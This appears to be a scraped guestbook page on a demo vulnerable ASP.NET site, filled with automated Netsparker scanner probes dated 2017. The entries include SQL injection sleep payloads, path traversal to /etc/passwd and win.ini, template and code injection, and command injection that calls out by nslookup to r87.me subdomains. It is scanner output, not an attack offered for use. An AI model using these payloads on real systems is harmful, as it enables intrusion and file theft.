n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:17 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:14 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

//r87.com/?http://aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

arguments[1].end(require('child_process').execSync('expr 268409241 - 22'))

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:10:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:01 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n ));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n );SELECT pg_sleep(25)--\r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n ;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |nslookup${IFS}\"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu\"\"np8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \"&nslookup \"o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop\"\"v90.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n '&nslookup \"o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3\"\"apw.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n &nslookup \"o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc\"\"7j8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n nslookup \"o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt\"\"dny.r87.me\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \"& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\\\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\\\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\\\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`'\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\\\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \"+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+\"\r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')')\r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me')\r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p\" & \"hf8.r87.me\").StdOut.ReadAll+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n <%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p\" & \"asu.r87.me\").StdOut.ReadAll%>\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq\" & \"olq.r87.me\").StdOut.ReadAll+\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft\" & \"k80.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve\" & \"g44.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n expr 268409241 - 2;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n &ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \"+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n '&ping -w 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ;expr 268409241 - 2;x\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

